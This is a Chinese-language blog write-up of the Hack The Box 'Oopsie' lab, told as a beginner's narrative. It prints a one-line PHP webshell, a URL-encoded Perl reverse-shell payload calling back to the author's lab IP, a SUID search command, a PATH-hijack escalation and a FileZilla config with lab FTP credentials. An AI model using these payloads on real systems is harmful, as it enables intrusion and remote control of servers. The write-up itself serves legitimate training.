Black-Horse

Hack The Box - Oopsie

攻略的话在靶场内都有,也有官方的攻略,我作为一个技术小白,只是想把自己的通关过程记录下来,没有网站内大佬们写得好。 准备工作就不过多赘述,如果有不清楚的请点这里(Hack The Box - 如何开始。

我们获得了一个IP:

 访问一下:

存在web页面

 扫描一下端口:

 只有两个端口,那就从web入手吧。

目录扫描,速度奇慢,算了,先让他扫吧,就不贴图了。

随便点点,没什么反应,往下翻,看到了这个:

 还有这个:

 第一张图,说登录可以获得服务,第二张图,如果做过上个靶场,细心一点的话,会发现他们两个好像有点关联,(粗心的我,完全没考虑这个,后来才发现。)

然后就是找登录页,目录扫描还在扫,没一点结果,尝试了一些常见的,也没反应,查看一下网页源代码:

 看到了一个跟登录有点关系的,点开看看JS里有什么。。。什么也没有,把script.js删了,看看上级目录里有什么。。。

然后弹出了登录框:

 尝试了一下,没有常见的弱口令,没验证码,直接扔工具爆破了,然后,没爆出来。。。

在首页一直看啊看,记得之前有一个靶场,账号和密码就藏在网页内容中,需要一点点社工。。。

现在说到上边那个图,猜测可能和上一个靶场密码一样,(其实看了攻略)

账号admin,密码就是上一个靶场主机的密码。

登录进来:

 常规随便点点:

 

 

 

 

 

 好嘛,发现每一个模块的URL后边的数字都是可以修改并改变网页的内容,上传这里显示需要超级管理员,谁能拒绝一个可能的文件上传呢?

我天真的以为可能存在SQL注入吧,直接扔sqlmap了,然后报错了,就不贴图了,不死心的我,又拿出了自己的脚本,跑了一下发现返回长度并不是全部相等得,但是好像并不存在SQL注入,或许是我的脚本太菜,没测出来,这里就不放脚本和截图了,后来才发现burp能直接实现。。。(蠢)

抓包爆破:

配置和结果:(因为之前拿脚本跑过,所以知道是30,这里就写了50,不知道的话我们可以试着数字更长一些。)

 

 将账户页面的URL的id改为30:

 新的问题是,我知道这个有什么用。。。

尝试拿原来的密码登录了一下没反应,然后在包内容中发现cookie:

 尝试修改cookie:

 心心念念的文件上传:

 

 

 

尝试上传一个文件:

 

 

 

 

 

 

上传成功,可是我们不知道文件路径。。。

目录扫描那边,或许是字典太拉跨了吧,什么也没扫出来,看了攻略换了一个工具。

dirsearch:

 不用想了,uploads无疑:

 

上小马试试:(在这里我们可以看到网站是使用PHP写的,所以直接上PHP小马。)

 

 

 直接成了,没有任何阻拦。

上蚁剑:

完美。

根据上个靶场的经验,推测大概率flag在家目录下,直奔主题:

 

 

 不出所料,现在就是想办法提权拿到另一个flag。

发现数据库配置文件,连上了数据库,但是好像没什么用:

 

 

 

虚拟终端好像也用不了:

 东西就在这,但是我访问不了:

 

看了攻略,用了kali的php-reverse-shell,传不上去,总是超时,也尝试拿蚁剑去写一个php-reverse-shell,但是保存的时候也是一直加载。好像陷入了死局,攻略是假的。。。

然后,我找到了这个:

<?php echo shell_exec($_GET['shell']);?>

上传之后访问,后边跟上参数:(IP和端口,记得修改成自己的。)

?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.61:1234%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27

kali开启监听:

 访问:

 成功反弹:

 然后shell不是交互式的,用起来不太方便,我们用这个:

SHELL=/bin/bash script -q /dev/null

两者区别:

 第一个输入ll,没有反应,第二个输入ll,会告诉你命令不存在。

然后我们切换一下用户:(通过刚才在蚁剑中访问家目录和db.php文件,猜测存在该用户,且密码相同。毕竟我们目前的用户权限太低了)

 

 用淘来的命令:(查看具有 SUID 的可执行文件)

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

 发现了这个:(每个组挨个试一下,发现robert刚好也在这个组内)

cat /etc/group | grep bugtracker

 运行一下这个文件:

 随便输个东西看看有什么反应:

通过返回情况,我们可以看到这个程序调用了cat,我们追加一个/bin/bash试一下:

 成功提权root。直奔flag:

 在这,我们还看到一个config目录:(当时我是完全没看到的,完全被flag冲昏了头脑,后来看攻略,发现有这个问题,就顺道把内容复制出来吧,说不定,下一个靶场能用到。)

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
    <RecentServers>
        <Server>
            <Host>10.10.10.46</Host>
            <Port>21</Port>
            <Protocol>0</Protocol>
            <Type>0</Type>
            <User>ftpuser</User>
            <Pass>mc@F1l3ZilL4</Pass>
            <Logontype>1</Logontype>
            <TimezoneOffset>0</TimezoneOffset>
            <PasvMode>MODE_DEFAULT</PasvMode>
            <MaximumMultipleConnections>0</MaximumMultipleConnections>
            <EncodingType>Auto</EncodingType>
            <BypassProxy>0</BypassProxy>
        </Server>
    </RecentServers>
</FileZilla3>

至此,全部结束。

 

posted @ 2021-04-28 18:25  Black--Horse  阅读(520)  评论(0编辑  收藏  举报